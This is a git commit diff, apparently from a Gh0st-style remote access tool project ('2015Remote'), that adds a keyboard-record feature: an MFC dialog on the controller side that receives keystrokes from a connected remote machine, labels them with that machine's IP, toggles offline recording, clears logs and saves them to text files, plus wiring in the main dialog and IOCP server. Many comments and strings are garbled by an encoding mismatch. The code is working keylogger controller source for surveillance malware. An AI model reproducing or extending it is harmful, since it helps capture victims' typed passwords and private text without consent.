feature: Add keyboard record feature

This commit is contained in:
yuanyuanxiang
2025-01-31 22:22:16 +08:00
parent ac2d54a706
commit 0d6d171909
23 changed files with 1048 additions and 3 deletions

Binary file not shown.

View File

@@ -19,6 +19,7 @@
#include "ServicesDlg.h"
#include "VideoDlg.h"
#include <vector>
#include "KeyBoardDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
@@ -165,6 +166,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(IDM_ONLINE_VIDEO, &CMy2015RemoteDlg::OnOnlineVideoManager)
ON_COMMAND(IDM_ONLINE_SERVER, &CMy2015RemoteDlg::OnOnlineServerManager)
ON_COMMAND(IDM_ONLINE_REGISTER, &CMy2015RemoteDlg::OnOnlineRegisterManager)
ON_COMMAND(IDM_KEYBOARD, &CMy2015RemoteDlg::OnOnlineKeyboardManager)
ON_COMMAND(IDM_ONLINE_BUILD, &CMy2015RemoteDlg::OnOnlineBuildClient) //<2F><><EFBFBD><EFBFBD>Client
ON_MESSAGE(UM_ICONNOTIFY, (LRESULT (__thiscall CWnd::* )(WPARAM,LPARAM))OnIconNotify)
ON_COMMAND(IDM_NOTIFY_SHOW, &CMy2015RemoteDlg::OnNotifyShow)
@@ -183,6 +185,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_OPENREGISTERDIALOG, OnOpenRegisterDialog)
ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog)
ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage)
ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog)
ON_WM_HELPINFO()
END_MESSAGE_MAP()
@@ -286,9 +289,10 @@ VOID CMy2015RemoteDlg::CreateToolBar()
m_ToolBar.SetButtonText(6,"<EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
m_ToolBar.SetButtonText(7,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
m_ToolBar.SetButtonText(8,"ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
m_ToolBar.SetButtonText(9,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
m_ToolBar.SetButtonText(10,"<EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
m_ToolBar.SetButtonText(11,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
m_ToolBar.SetButtonText(9, "<EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼");
m_ToolBar.SetButtonText(10,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
m_ToolBar.SetButtonText(11,"<EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
m_ToolBar.SetButtonText(12,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0); //<2F><>ʾ
}
@@ -806,6 +810,12 @@ VOID CMy2015RemoteDlg::OnOnlineRegisterManager()
SendSelectedCommand(&bToken, sizeof(BYTE));
}
VOID CMy2015RemoteDlg::OnOnlineKeyboardManager()
{
BYTE bToken = COMMAND_KEYBOARD;
SendSelectedCommand(&bToken, sizeof(BYTE));
}
void CMy2015RemoteDlg::OnOnlineBuildClient()
{
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -967,6 +977,12 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
Dlg->OnReceiveComplete();
break;
}
case KEYBOARD_DLG:
{
CKeyBoardDlg* Dlg = (CKeyBoardDlg*)ContextObject->hDlg;
Dlg->OnReceiveComplete();
break;
}
default:
g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)ContextObject, (LPARAM)ContextObject);
}
@@ -1010,6 +1026,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
Sleep(10);
break;
}
case TOKEN_KEYBOARD_START: {// <20><><EFBFBD>̼<EFBFBD>¼
g_2015RemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_LOGIN: // <20><><EFBFBD>߰<EFBFBD> shine
{
g_2015RemoteDlg->PostMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
@@ -1202,6 +1222,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
delete Dlg; //<2F><><EFBFBD><EFBFBD><E2B4A6>
break;
}
case KEYBOARD_DLG:
{
CKeyBoardDlg* Dlg = (CKeyBoardDlg*)p->hDlg;
delete Dlg;
break;
}
default:break;
}
delete p;
@@ -1372,6 +1398,20 @@ LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam)
return 0;
}
LRESULT CMy2015RemoteDlg::OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam)
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
CKeyBoardDlg* Dlg = new CKeyBoardDlg(this, m_iocpServer, ContextObject);
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ׿<CEAA><D7BF>
Dlg->Create(IDD_DLG_KEYBOARD, GetDesktopWindow()); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Dlg
Dlg->ShowWindow(SW_SHOW);
ContextObject->v1 = KEYBOARD_DLG;
ContextObject->hDlg = Dlg;
return 0;
}
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
{

View File

@@ -91,6 +91,7 @@ public:
afx_msg void OnOnlineFileManager();
afx_msg void OnOnlineServerManager();
afx_msg void OnOnlineRegisterManager();
afx_msg VOID OnOnlineKeyboardManager();
afx_msg void OnOnlineBuildClient();
afx_msg LRESULT OnUserToOnlineList(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnUserOfflineMsg(WPARAM wParam, LPARAM lParam);
@@ -104,6 +105,7 @@ public:
afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam);
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
virtual BOOL PreTranslateMessage(MSG* pMsg);
};

View File

@@ -245,6 +245,7 @@
<ClInclude Include="iniFile.h" />
<ClInclude Include="InputDlg.h" />
<ClInclude Include="IOCPServer.h" />
<ClInclude Include="KeyBoardDlg.h" />
<ClInclude Include="RegisterDlg.h" />
<ClInclude Include="Resource.h" />
<ClInclude Include="ScreenSpyDlg.h" />
@@ -274,6 +275,7 @@
<ClCompile Include="iniFile.cpp" />
<ClCompile Include="InputDlg.cpp" />
<ClCompile Include="IOCPServer.cpp" />
<ClCompile Include="KeyBoardDlg.cpp" />
<ClCompile Include="RegisterDlg.cpp" />
<ClCompile Include="ScreenSpyDlg.cpp" />
<ClCompile Include="ServicesDlg.cpp" />

View File

@@ -68,6 +68,7 @@ public:
ULONG GetBufferLength(); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
VOID ClearBuffer();
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
BOOL Write(PBYTE Buffer, ULONG ulLength) { return WriteBuffer(Buffer, ulLength); }
LPBYTE GetBuffer(ULONG ulPos);
Buffer GetMyBuffer(ULONG ulPos);
BYTE GetBYTE(ULONG ulPos);

View File

@@ -3,6 +3,7 @@
#include "2015Remote.h"
#include <iostream>
#include <ws2tcpip.h>
#if USING_ZLIB
#include "zlib.h"
@@ -43,6 +44,23 @@ CRITICAL_SECTION IOCPServer::m_cs = {0};
#define SAFE_DELETE(p) if(p){ delete (p); (p) = NULL; }
// <20><><EFBFBD><EFBFBD> socket <20><>ȡ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>IP<49><50>ַ.
std::string GetRemoteIP(SOCKET sock) {
sockaddr_in addr;
int addrLen = sizeof(addr);
if (getpeername(sock, (sockaddr*)&addr, &addrLen) == 0) {
char ipStr[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &addr.sin_addr, ipStr, sizeof(ipStr));
TRACE(">>> <20>Զ<EFBFBD> IP <20><>ַ: %s\n", ipStr);
return ipStr;
}
TRACE(">>> <20><>ȡ<EFBFBD>Զ<EFBFBD> IP ʧ<><CAA7>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", WSAGetLastError());
char buf[10];
sprintf_s(buf, "%d", sock);
return buf;
}
IOCPServer::IOCPServer(void)
{
WSADATA wsaData;

View File

@@ -18,6 +18,8 @@
#define NC_RECEIVE 0x0004
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
std::string GetRemoteIP(SOCKET sock);
enum IOType
{
IOInitialize,
@@ -121,6 +123,9 @@ public:
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , size_t ulOriginalLength);
VOID Send(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
}
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
void UpdateMaxConnection(int maxConn);
IOCPServer(void);
@@ -186,3 +191,10 @@ public:
#endif
}
};
typedef IOCPServer CIOCPServer;
typedef CONTEXT_OBJECT ClientContext;
#define m_Socket sClientSocket
#define m_DeCompressionBuffer InDeCompressedBuffer

View File

@@ -0,0 +1,215 @@
// KeyBoardDlg.cpp : implementation file
//
#include "stdafx.h"
#include <WinUser.h>
#include "KeyBoardDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#define IDM_ENABLE_OFFLINE 0x0010
#define IDM_CLEAR_RECORD 0x0011
#define IDM_SAVE_RECORD 0x0012
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg dialog
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CKeyBoardDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CKeyBoardDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_KEYBOARD));
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
m_bIsOfflineRecord = (BYTE)m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1];
}
void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CKeyBoardDlg)
DDX_Control(pDX, IDC_EDIT, m_edit);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
//{{AFX_MSG_MAP(CKeyBoardDlg)
ON_WM_SIZE()
ON_WM_CLOSE()
ON_WM_SYSCOMMAND()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg message handlers
void CKeyBoardDlg::PostNcDestroy()
{
// TODO: Add your specialized code here and/or call the base class
delete this;
CDialog::PostNcDestroy();
}
BOOL CKeyBoardDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL) {
//pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND);
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ENABLE_OFFLINE, "<EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD>¼(&O)");
pSysMenu->AppendMenu(MF_STRING, IDM_CLEAR_RECORD, "<EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>¼(&C)");
pSysMenu->AppendMenu(MF_STRING, IDM_SAVE_RECORD, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼(&S)");
if (m_bIsOfflineRecord)
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
}
UpdateTitle();
m_edit.SetLimitText(MAXDWORD); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>󳤶<EFBFBD>
// ֪ͨԶ<D6AA>̿<EFBFBD><CCBF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CKeyBoardDlg::UpdateTitle()
{
CString str;
str.Format(_T("%s - <20><><EFBFBD>̼<EFBFBD>¼"), m_IPAddress);
if (m_bIsOfflineRecord)
str += " (<28><><EFBFBD>߼<EFBFBD>¼<EFBFBD>ѿ<EFBFBD><D1BF><EFBFBD>)";
else
str += " (<28><><EFBFBD>߼<EFBFBD>¼δ<C2BC><CEB4><EFBFBD><EFBFBD>)";
SetWindowText(str);
}
void CKeyBoardDlg::OnReceiveComplete()
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) {
case TOKEN_KEYBOARD_DATA:
AddKeyBoardData();
break;
default:
return;
}
}
void CKeyBoardDlg::AddKeyBoardData()
{
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0
m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
int len = m_edit.GetWindowTextLength();
m_edit.SetSel(len, len);
m_edit.ReplaceSel((TCHAR *)m_pContext->m_DeCompressionBuffer.GetBuffer(1));
}
bool CKeyBoardDlg::SaveRecord()
{
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.txt");
CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "<EFBFBD>ı<EFBFBD><EFBFBD>ĵ<EFBFBD>(*.txt)|*.txt|", this);
if(dlg.DoModal () != IDOK)
return false;
CFile file;
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>");
return false;
}
// Write the DIB header and the bits
CString strRecord;
m_edit.GetWindowText(strRecord);
file.Write(strRecord, strRecord.GetLength());
file.Close();
return true;
}
void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if (nID == IDM_ENABLE_OFFLINE) {
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL) {
BYTE bToken = COMMAND_KEYBOARD_OFFLINE;
m_iocpServer->Send(m_pContext, &bToken, 1);
m_bIsOfflineRecord = !m_bIsOfflineRecord;
if (m_bIsOfflineRecord)
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
else
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED);
}
UpdateTitle();
} else if (nID == IDM_CLEAR_RECORD) {
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
m_iocpServer->Send(m_pContext, &bToken, 1);
m_edit.SetWindowText("");
} else if (nID == IDM_SAVE_RECORD) {
SaveRecord();
} else {
CDialog::OnSysCommand(nID, lParam);
}
}
void CKeyBoardDlg::ResizeEdit()
{
RECT rectClient;
RECT rectEdit;
GetClientRect(&rectClient);
rectEdit.left = 0;
rectEdit.top = 0;
rectEdit.right = rectClient.right;
rectEdit.bottom = rectClient.bottom;
m_edit.MoveWindow(&rectEdit);
}
void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
if (IsWindowVisible())
ResizeEdit();
}
BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: Add your specialized code here and/or call the base class
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)) {
return true;
}
return CDialog::PreTranslateMessage(pMsg);
}
void CKeyBoardDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
closesocket(m_pContext->m_Socket);
CDialog::OnClose();
}

View File

@@ -0,0 +1,66 @@
#if !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_)
#define AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_
#include "Resource.h"
#include "IOCPServer.h"
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// KeyBoardDlg.h : header file
//
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg dialog
class CKeyBoardDlg : public CDialog
{
// Construction
public:
void OnReceiveComplete();
CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CKeyBoardDlg)
enum { IDD = IDD_DLG_KEYBOARD };
CEdit m_edit;
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CKeyBoardDlg)
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
virtual void PostNcDestroy();
//}}AFX_VIRTUAL
// Implementation
protected:
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
HICON m_hIcon;
bool m_bIsOfflineRecord;
CString m_IPAddress;
void AddKeyBoardData();
void UpdateTitle();
void ResizeEdit();
bool SaveRecord();
// Generated message map functions
//{{AFX_MSG(CKeyBoardDlg)
virtual BOOL OnInitDialog();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnClose();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_)

Binary file not shown.

Before

Width:  |  Height:  |  Size: 81 KiB

After

Width:  |  Height:  |  Size: 88 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

View File

@@ -91,6 +91,7 @@
#define WM_USEROFFLINEMSG WM_USER+3010
#define WM_HANDLEMESSAGE WM_USER+3011
#define WM_OPENKEYBOARDDIALOG WM_USER+3012
enum
{